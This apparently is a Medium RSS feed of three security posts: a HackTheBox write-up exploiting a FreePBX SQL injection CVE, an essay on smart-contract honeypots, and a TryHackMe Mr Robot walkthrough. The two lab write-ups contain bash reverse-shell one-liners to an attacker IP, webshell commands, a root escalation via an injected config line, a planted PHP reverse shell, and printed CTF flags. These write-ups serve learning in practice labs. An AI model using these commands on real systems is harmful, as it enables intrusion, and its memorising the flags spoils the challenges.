<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by 0xamaan on Medium]]></title>
        <description><![CDATA[Stories by 0xamaan on Medium]]></description>
        <link>https://medium.com/@0xamaan?source=rss-885836723cca------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*lrQtQxsXAvGYLYy0</url>
            <title>Stories by 0xamaan on Medium</title>
            <link>https://medium.com/@0xamaan?source=rss-885836723cca------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 03:30:42 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@0xamaan/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[HTB: Connected]]></title>
            <link>https://0xamaan.medium.com/htb-connected-70b321afad14?source=rss-885836723cca------2</link>
            <guid isPermaLink="false">https://medium.com/p/70b321afad14</guid>
            <category><![CDATA[cve]]></category>
            <category><![CDATA[cve202557819]]></category>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[dahdi]]></category>
            <category><![CDATA[freepbx]]></category>
            <dc:creator><![CDATA[0xamaan]]></dc:creator>
            <pubDate>Wed, 23 Sep 2026 20:21:19 GMT</pubDate>
            <atom:updated>2026-09-23T20:21:19.698Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Exploiting CVE-2025–57819 in FreePBX, and abusing incron.d + DAHDI config for privilege escalation</strong></p><p><strong>Difficulty:</strong> Medium<br> <strong>Tags:</strong> Web Exploitation, FreePBX, Asterisk, incron.d, SQL Injection, RCE</p><p>Lets go!</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2F3aGZA6WLI9Jde%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExaWIzYjkzMHNhZXpjOXVxYzd5c2EzbTZreTlwN2M4ZzZpM2IydjE3ZiZlcD12MV9naWZzX3NlYXJjaCZjdD1n%2F3aGZA6WLI9Jde%2Fgiphy.gif&amp;image=https%3A%2F%2Fmedia4.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExNDh0eGM3MzQyMnZpejN2bXhoYzBtNnZ6aGlwMm5jMWd0djhtbzh1OCZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw%2F3aGZA6WLI9Jde%2Fgiphy_s.gif&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="305" frameborder="0" scrolling="no"><a href="https://medium.com/media/491d31d6df587e303bcdbba29c683aea/href">https://medium.com/media/491d31d6df587e303bcdbba29c683aea/href</a></iframe><h3>Enumeration</h3><p>bash</p><pre>nmap -sC -sT 10.129.140.171</pre><pre>PORT    STATE SERVICE<br>22/tcp  open  ssh<br>80/tcp  open  http     → redirects to http://connected.htb/<br>443/tcp open  https</pre><p>TLS cert shows commonName=pbxconnect. Add the host to /etc/hosts:</p><pre>10.129.140.171 connected.htb</pre><p>Visiting the site shows a FreePBX login page, the footer confirms <strong>FreePBX 16.0.40.7</strong>, a version affected by CVE-2025–57819 (patched in 16.0.89+).</p><h3>Foothold: CVE-2025–57819</h3><p>FreePBX is an open-source web GUI for managing the Asterisk PBX/VoIP platform. CVE-2025–57819 is a critical (CVSS 9.8–10.0), unauthenticated SQL injection in the endpoint module’s AJAX handler (brand parameter), reachable at /admin/ajax.php. It&#39;s on CISA&#39;s KEV list and was actively exploited in the wild. The PoC chains this into a stacked query that inserts a cron job writing a PHP webshell to disk.</p><p><strong>PoC used:</strong> <a href="https://github.com/watchtowrlabs/watchTowr-vs-FreePBX-CVE-2025-57819">watchTowr-vs-FreePBX-CVE-2025-57819</a></p><p>bash</p><pre>python3 watchTowr-vs-FreePBX-CVE-2025-57819.py -H http://connected.htb</pre><p>The script’s injected cron job drops a webshell at a randomized filename:</p><pre>http://connected.htb/this-is-an-ioc-not-actually-watchTowr-&lt;random-id&gt;.php?cmd=&lt;command&gt;</pre><p>Confirm RCE with a harmless command first:</p><p>bash</p><pre>curl &quot;http://connected.htb/this-is-an-ioc-not-actually-watchTowr-&lt;id&gt;.php?cmd=hostname&quot;</pre><h3>User Access</h3><p>Start a listener:</p><p>bash</p><pre>nc -lvnp 1234</pre><p>Trigger the reverse shell through the webshell, URL-encoded (note: &amp; must be %26, not left raw, or the query string truncates):</p><p>bash</p><pre>curl &quot;http://connected.htb/this-is-an-ioc-not-actually-watchTowr-&lt;id&gt;.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/&lt;YOUR_TUN0_IP&gt;/1234%200%3E%261%27&quot;</pre><pre>$ id<br>uid=999(asterisk) gid=1000(asterisk) groups=1000(asterisk)</pre><h3>Privilege Escalation</h3><p>incron.d watches several files for changes and runs privileged scripts as root when they&#39;re modified. Check what&#39;s monitored:</p><p>bash</p><pre>cat /etc/incron.d/*</pre><p>Relevant rule:</p><pre>/var/spool/asterisk/sysadmin/dahdi_restart  IN_CLOSE_WRITE  /usr/sbin/sysadmin_dahdi_restart</pre><p>asterisk can write to the watched trigger file. The restart script sources DAHDI config, so check what config files asterisk can also write:</p><p>bash</p><pre>find / -type f -name &quot;*.conf&quot; -writable 2&gt;/dev/null</pre><p>Confirms /etc/dahdi/init.conf is writable.</p><p><strong>Inject a reverse shell one-liner:</strong></p><p>bash</p><pre>echo &quot;bash -c &#39;bash -i &gt;&amp; /dev/tcp/&lt;YOUR_TUN0_IP&gt;/4545 0&gt;&amp;1&#39;&quot; &gt;&gt; /etc/dahdi/init.conf</pre><p><strong>Listener (second terminal):</strong></p><p>bash</p><pre>nc -lvnp 4545</pre><p><strong>Trigger the incron watch, which runs </strong><strong>sysadmin_dahdi_restart as root:</strong></p><p>bash</p><pre>echo &quot;Restart&quot; &gt;&gt; /var/spool/asterisk/sysadmin/dahdi_restart</pre><p>The restart script sources init.conf as root, executing the injected payload — root shell lands on the second listener within a few seconds.</p><h3>Root Access</h3><pre>$ id<br>uid=0(root) gid=0(root) groups=0(root)</pre><p>You will find the root flag in the root directory. Voila!</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2Ft3sZxY5zS5B0z5zMIz%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExaWIzYjkzMHNhZXpjOXVxYzd5c2EzbTZreTlwN2M4ZzZpM2IydjE3ZiZlcD12MV9naWZzX3NlYXJjaCZjdD1n%2Ft3sZxY5zS5B0z5zMIz%2Fgiphy.gif&amp;image=https%3A%2F%2Fmedia0.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExMmQ3YmF6MWdraG5ldTl5M3Ywbm1pc2R1a2lsMGJ0MmVmbnUydnp4bSZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw%2Ft3sZxY5zS5B0z5zMIz%2Fgiphy_s.gif&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="244" frameborder="0" scrolling="no"><a href="https://medium.com/media/726c73f97e51034cc2ae842be2d17e6f/href">https://medium.com/media/726c73f97e51034cc2ae842be2d17e6f/href</a></iframe><h3>Summary</h3><p>StageTechniqueReconNmap → FreePBX 16.0.40.7 fingerprinted via footerFootholdCVE-2025–57819 unauth SQLi → cron-dropped webshell → RCE as asteriskPrivescasterisk-writable /etc/dahdi/init.conf + incron.d watch on dahdi_restart → root</p><h3>Resources</h3><ul><li><a href="https://www.sentinelone.com/vulnerability-database/cve-2025-57819/">CVE-2025–57819 — SentinelOne</a></li><li><a href="https://github.com/watchtowrlabs/watchTowr-vs-FreePBX-CVE-2025-57819">WatchTowr PoC</a></li><li><a href="https://github.com/FreePBX/security-reporting/security/advisories/GHSA-m42g-xg4c-5f3h">FreePBX Security Advisory GHSA-m42g-xg4c-5f3h</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=70b321afad14" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Honeypot Contracts: The Spider Webs of the Blockchain.]]></title>
            <link>https://0xamaan.medium.com/honeypot-contracts-the-spider-webs-of-the-blockchain-8f94a609ee53?source=rss-885836723cca------2</link>
            <guid isPermaLink="false">https://medium.com/p/8f94a609ee53</guid>
            <category><![CDATA[honeypot]]></category>
            <category><![CDATA[cryptocurrency]]></category>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[blockchain-technology]]></category>
            <dc:creator><![CDATA[0xamaan]]></dc:creator>
            <pubDate>Tue, 24 Mar 2026 19:06:39 GMT</pubDate>
            <atom:updated>2026-03-24T19:06:39.926Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/760/1*mQZHTThhkjSqKNxc85OdXw.png" /></figure><p>If you’ve spent any time around Ethereum and smart contracts, you’ve probably come across warnings about all the ways contracts can go wrong. Reentrancy bugs, bad access control, integer overflows etc etc. But there’s a fascinating and slightly sinister corner of this space where the contract that <em>looks</em> broken is actually working exactly as intended. Just not in your favour.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Ftenor.com%2Fembed%2F18640030&amp;display_name=Tenor&amp;url=https%3A%2F%2Ftenor.com%2Fview%2Ftom-cruise-mask-foksrun-gif-18640030&amp;image=https%3A%2F%2Fmedia.tenor.com%2FiUMO2pIkVu0AAAAN%2Ftom-cruise-mask.png&amp;type=text%2Fhtml&amp;schema=tenor" width="600" height="400" frameborder="0" scrolling="no"><a href="https://medium.com/media/b8a3bcf10ad1a2f6f46096f118f66f15/href">https://medium.com/media/b8a3bcf10ad1a2f6f46096f118f66f15/href</a></iframe><p>That’s a honeypot contract. And once you understand how they work, you’ll never look at a “vulnerable” contract the same way again.</p><h3>The Basic Idea</h3><p>A honeypot contract is built around a simple psychological trap. It presents itself as a contract with an obvious flaw. its like something that looks like it can be exploited to drain funds or take ownership. The attacker sees it, gets excited, and moves in for the kill.</p><p>What they don’t realize is that the “flaw” is the bait. Hidden underneath it is a second layer of logic that ensures the attacker either walks away with nothing or loses what they sent in. The creator quietly collects while the attacker is left wondering what went wrong.</p><p>It’s basically a contract that says “yes, please rob me” and then locks the door behind you.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Ftenor.com%2Fembed%2F15853356&amp;display_name=Tenor&amp;url=https%3A%2F%2Ftenor.com%2Fview%2Fjail-locked-up-prison-in-prison-prisoner-gif-15853356&amp;image=https%3A%2F%2Fmedia.tenor.com%2F9A5auwAzpnwAAAAN%2Fjail-locked-up.png&amp;type=text%2Fhtml&amp;schema=tenor" width="600" height="400" frameborder="0" scrolling="no"><a href="https://medium.com/media/44c43d81342b7b9e033149c6ff6b4a77/href">https://medium.com/media/44c43d81342b7b9e033149c6ff6b4a77/href</a></iframe><h3>How the Traps Actually Work</h3><p>There are a few common patterns that keep showing up in honeypot contracts. They’re worth knowing because they’re each built on a different assumption the attacker makes.</p><p><strong>The Balance Trap</strong></p><p>The contract holds some ETH and has a withdrawal function that looks wide open. All you have to do is send a small deposit first, and then you can drain the whole thing. Sounds easy. But somewhere in the contract, often in a place that’s easy to miss, a storage variable was set during your deposit that causes the withdrawal to silently revert. You’ve sent your ETH in. You’re getting nothing back.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Ftenor.com%2Fembed%2F23026718&amp;display_name=Tenor&amp;url=https%3A%2F%2Ftenor.com%2Fview%2Fkiwigo-wallet-thief-kgo-crypto-gif-23026718&amp;image=https%3A%2F%2Fmedia.tenor.com%2FW4XfZfovlasAAAAN%2Fkiwigo-wallet.png&amp;type=text%2Fhtml&amp;schema=tenor" width="600" height="400" frameborder="0" scrolling="no"><a href="https://medium.com/media/bcd1a8cc876146512a1a022cd0621eef/href">https://medium.com/media/bcd1a8cc876146512a1a022cd0621eef/href</a></iframe><p><strong>Reentrancy Bait</strong></p><p>Reentrancy is one of the most well-known attack patterns in Ethereum history. The idea is that you call a withdrawal function, and before the contract updates its balance, you call it again from a malicious contract — draining it repeatedly in a loop. Honeypot creators know attackers look for this. So they build contracts that look reentrancy-vulnerable on purpose. The attacker sets up their exploit, fires it off — and hits a hidden guard that causes the whole thing to revert. Usually after they’ve already funded the attempt.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Ftenor.com%2Fembed%2F2140444873906627680&amp;display_name=Tenor&amp;url=https%3A%2F%2Ftenor.com%2Fview%2Ffish-bait-baiting-bass-fishing-gif-2140444873906627680&amp;image=https%3A%2F%2Fmedia.tenor.com%2FHbRjRbKCpGAAAAAN%2Ffish-bait.png&amp;type=text%2Fhtml&amp;schema=tenor" width="600" height="400" frameborder="0" scrolling="no"><a href="https://medium.com/media/5ea99b64b638943ff99838c5c2d3776e/href">https://medium.com/media/5ea99b64b638943ff99838c5c2d3776e/href</a></iframe><p><strong>Visibility Confusion</strong></p><p>Solidity has rules about who can call what like public, private, internal, external. Some honeypots exploit an attacker’s assumptions about how these work, particularly in older contract code. The attacker reads the bytecode, believes a certain function is open to them, calls it and the execution doesn’t behave the way they expected. The trap was in the detail they skimmed past.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Ftenor.com%2Fembed%2F24177109&amp;display_name=Tenor&amp;url=https%3A%2F%2Ftenor.com%2Fview%2Fvisible-confusions-gif-24177109&amp;image=https%3A%2F%2Fmedia.tenor.com%2F2AxoijXH2loAAAAN%2Fvisible-confusions.png&amp;type=text%2Fhtml&amp;schema=tenor" width="600" height="400" frameborder="0" scrolling="no"><a href="https://medium.com/media/08f2ab5f75439b78f4aec8d5b195c834/href">https://medium.com/media/08f2ab5f75439b78f4aec8d5b195c834/href</a></iframe><p><strong>The Fake Constructor</strong></p><p>This one is mostly a historical pattern from older versions of Solidity. Constructors used to be defined as a function with the same name as the contract. If the contract was renamed but the function wasn’t updated, it became a callable public function which looks like a massive ownership takeover vulnerability. Honeypot creators would deliberately include what appeared to be this mistake. Attackers would rush in to call the “constructor” and claim ownership. But the real funds were protected elsewhere, and the attacker just announced themselves on-chain for nothing.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Ftenor.com%2Fembed%2F5271430&amp;display_name=Tenor&amp;url=https%3A%2F%2Ftenor.com%2Fview%2Flol-wolf-of-wall-street-gif-5271430&amp;image=https%3A%2F%2Fmedia.tenor.com%2FvFo5Jc2JETsAAAAN%2Flol-wolf-of-wall-street.png&amp;type=text%2Fhtml&amp;schema=tenor" width="600" height="400" frameborder="0" scrolling="no"><a href="https://medium.com/media/831563aa692d06af3b381a5c9c0ae98e/href">https://medium.com/media/831563aa692d06af3b381a5c9c0ae98e/href</a></iframe><h3>Why They’re Hard to Detect</h3><p>The thing that makes honeypots genuinely tricky is that the dangerous logic is hidden by design. Most automated scanners are built to find known bad patterns like reentrancy, unchecked calls, that sort of thing. A honeypot often passes those checks because it’s not vulnerable in the traditional sense. It’s <em>pretending</em> to be vulnerable.</p><p>Reading the code manually helps, but honeypot creators are good at burying the key logic in places that are easy to overlook. A storage variable set in an obscure internal function. A modifier that applies conditions you didn’t trace through. A dependency on a contract state that was configured before you even started looking.</p><p>The short version: if a contract looks <em>too</em> easy to exploit, that’s exactly when you should slow down.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Ftenor.com%2Fembed%2F15093770&amp;display_name=Tenor&amp;url=https%3A%2F%2Ftenor.com%2Fview%2Fdont-let-this-pretty-face-fool-you-i-can-do-it-dont-doubt-me-trust-me-jackson-fuller-gif-15093770&amp;image=https%3A%2F%2Fmedia.tenor.com%2FQWrCUo3USpYAAAAN%2Fdont-let-this-pretty-face-fool-you-i-can-do-it.png&amp;type=text%2Fhtml&amp;schema=tenor" width="600" height="400" frameborder="0" scrolling="no"><a href="https://medium.com/media/174275ed5e8e7b45dc2f2b65506fa621/href">https://medium.com/media/174275ed5e8e7b45dc2f2b65506fa621/href</a></iframe><h3>The Flip Side Using Them Defensively</h3><p>Here’s where it gets interesting from a security design perspective.</p><p>Most people think of honeypots purely as something to avoid. But the same mechanism that traps an attacker can, in theory, be pointed the other way. What if you deliberately deployed honeypot-style decoy contracts near contracts you actually care about? Make the decoys look more attractive. Let attackers waste their time and funds on traps while your real assets sit untouched.</p><p>Layer that with some manipulation at the RPC level, controlling what an attacker sees when they query blockchain state and you have the beginnings of an active deception-based defence strategy. Rather than just hardening your contracts and hoping for the best, you’re actively misleading the attacker about what’s worth targeting.</p><p>It’s an area that hasn’t been fully explored yet, which is part of what makes it interesting to work on.</p><h3>The Bigger Picture</h3><p>Honeypot contracts are a good reminder that the blockchain being transparent doesn’t mean everything on it is honest. The code is public. The transactions are visible. And yet deception is entirely possible because transparency and misdirection aren’t mutually exclusive. You can show someone exactly what you’re doing and still fool them completely, as long as they’re looking at the wrong part.</p><p>Understanding honeypots, how they’re built, what assumptions they exploit, and how they might be repurposed is becoming genuinely useful knowledge in smart contract security. Whether you’re auditing contracts, building defensive systems, or just trying not to get caught in one, knowing the patterns is half the battle.</p><p>The other half is remembering that if something looks like free money on a public blockchain, someone probably built that feeling on purpose.</p><p>I am currently researching on this topic to understand more about how it works and its implementations in blockchain on the defensive side.</p><p>Thats it for now folks. Cheers!</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Ftenor.com%2Fembed%2F23705252507487769&amp;display_name=Tenor&amp;url=https%3A%2F%2Ftenor.com%2Fview%2Fcheers-cheers-to-that-wink-steve-carell-gif-23705252507487769&amp;image=https%3A%2F%2Fmedia.tenor.com%2FAFQ3zTMFDhkAAAAN%2Fcheers-cheers-to-that.png&amp;type=text%2Fhtml&amp;schema=tenor" width="600" height="400" frameborder="0" scrolling="no"><a href="https://medium.com/media/c2aa4b3d39ceea0d899898107c288f3d/href">https://medium.com/media/c2aa4b3d39ceea0d899898107c288f3d/href</a></iframe><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8f94a609ee53" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe Mr Robot Writeup]]></title>
            <link>https://0xamaan.medium.com/tryhackme-mr-robot-writeup-2da7454525d9?source=rss-885836723cca------2</link>
            <guid isPermaLink="false">https://medium.com/p/2da7454525d9</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[mr-robot-ctf]]></category>
            <dc:creator><![CDATA[0xamaan]]></dc:creator>
            <pubDate>Thu, 12 Jun 2025 17:01:14 GMT</pubDate>
            <atom:updated>2025-06-16T05:59:41.750Z</atom:updated>
            <content:encoded><![CDATA[<p>So here you go on how I completed the Mr. Robot in TryHackMe</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/0*dDtFLKdI1SWF1ney.gif" /></figure><p>I started with a Nmap scan to enumerate open ports and services:</p><pre>nmap -sV -sC -sT -Pn -A 10.10.210.84</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*A3fL1hJkVxW3KVbf" /></figure><p>The scan revealed: Port 22 (SSH) and Port 80, 443 (HTTP/HTTPS)</p><p>Visiting the website (http://10.10.171.242) displayed a simple welcome page with links to various video content. The site also shows a small intro and some commands that we can use in the website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*OTHWxe58E5CWboPp" /></figure><p>Commands navigates to various videos. So while checking the commands, using Gobuster with a common medium wordlist, I looked for hidden directories using gobuster:</p><pre>gobuster dir -u http://10.10.210.84/ -w /home/kali/Downloads/Resources/directory-list-2.3-medium.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*DwCzgaaJnBipwaJ8" /></figure><p>Decided to check the directories with a status code of 200. Checked the /robots directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/607/0*jwvhL3XhioOsHlng" /></figure><p>fsocity.dic directory seems to have a wordlist of some usernames and passwords. Let’s save them. Now lets check the /<strong>key-1-of-3.txt </strong>directory which I believe has the flag. And it does!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/658/0*B3fpm-vw63x1UB6N" /></figure><p>First flag 073403c8a58a1f80d943455fb30724b9</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/266/0*ENTmCSWNCelVNuY_.gif" /></figure><p>I decided to continue checking the directories. Found a message in the directory but when inspected, Ifound a hidden encrypted message. Using CyberChef from GitHub, I was able to decrypt it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*9IPnip6Uc9OzGjD7" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*cjj4WXGh3lCaD0AU" /></figure><p>Im not sure what it is, so i am going to just save it for now. It can be some credentials.</p><p>Found another directory with a WordPress login page, which is in /wp-login. Tried the credentials from above and we are in!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*3ZBAhcHzn7HM-tIp" /></figure><p>So after some research, it is found that there is a reverse shell vulnerability in WordPress default themes. I found a repository on GitHub by pentestmonkey. <a href="https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php">https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/0*t0yDEPqXTbiPGpWI.gif" /></figure><p>I copied the code, pasted it in the 404.php page in WordPress, changing the reverse IP to my machine and with a port number.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*MHyXycqSbEuP5hwX" /></figure><p>And I started a reverse connection using netcat with the command</p><pre>nc -lnvp 1234</pre><p>After that, I navigated to the 404 page in the same theme</p><pre>http://10.10.171.242/wp-includes/themes/TwentyFifteen/404.php</pre><p>By doing this, I got the reverse shell in my netcat listener!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/390/0*M52QFJDwvnjbryvl.gif" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/0*FO3hXAlVDVFGcY7C" /></figure><p>After that, I navigated to home/robot. Inside that directory, I found the 2nd flag file and another file. When I tried to open the flag file, I got an error saying I don’t have permission to access the file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*3nZ19Txh0TXCZjDs" /></figure><p>So I checked the next file password.raw+md5 and I got this output.</p><p>robot:c3fcd3d76192e4007dfb496cca67e13b</p><p>The password seemed to be hashed, so I decrypted it using John the Ripper. Since the format is mentioned in the file name itself, I checked with that format.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/821/0*IuUj08OQWDekaUsW" /></figure><p>So we got the password. Now I upgraded my terminal to an interactive terminal to switch users using this command.</p><pre>python3 -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><p>Switching to the robot user with the cracked password, I accessed the second flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/344/0*VffUVNapK8LGigT7" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/356/0*3oZgaouG1NixW5Y2.gif" /></figure><p>Flag 822c73956184f694993bede3eb39f959</p><p>So now the final flag must be with root. Let’s check if there are any privilege escalation vulnerabilities. To escalate privileges, I searched for <strong>SUID binaries</strong>:</p><pre>find / -perm -4000 2&gt;/dev/null</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/444/0*wBu5AupD6yTe82q5" /></figure><p>Let’s check GTFOBins for known exploits and I found that nmap (in interactive mode) allows executing shell commands:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/0*pvC85EDfej8r4bXU" /></figure><p>So got into an nmap interactive shell and added that command. And we got the root access! Found the last flag at the root directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/0*KXUuJpXm6OjepvU1" /></figure><p>Flag 3 04787ddef27c3dee1ee161b21670b4e4</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/352/0*WPFWMxx0OMYpkueN.gif" /></figure><h3>Conclusion</h3><p>The Mr. Robot machine was an enjoyable box combining <strong>basic web exploitation, password cracking, and Linux privilege escalation</strong>. A good learning experience for beginners looking to practice real-world exploitation techniques.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2da7454525d9" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>